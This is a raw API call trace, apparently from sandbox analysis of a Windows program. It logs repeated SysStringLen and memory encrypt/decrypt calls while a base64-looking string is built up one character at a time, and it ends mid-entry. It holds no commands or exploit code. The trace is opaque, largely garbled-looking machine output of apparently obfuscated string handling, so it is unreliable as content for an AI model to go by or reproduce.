[0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.906] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.906] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.906] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.906] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.907] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.907] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.907] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.907] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.907] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.907] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.907] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.907] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.907] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.907] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.908] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.908] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.908] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.908] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.908] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.908] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.908] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.908] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.908] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.908] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.909] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.909] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.909] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.909] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.910] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.910] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.910] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.911] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.911] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.911] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.911] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.911] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.911] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.911] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.911] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.911] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.911] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.911] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.912] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.912] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.912] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.912] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.912] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.912] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.913] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.913] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.913] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.913] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.913] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.913] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.913] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.914] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.914] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.914] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.914] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.914] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.914] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.914] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.914] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.914] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.914] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.915] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.915] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.915] SysStringLen 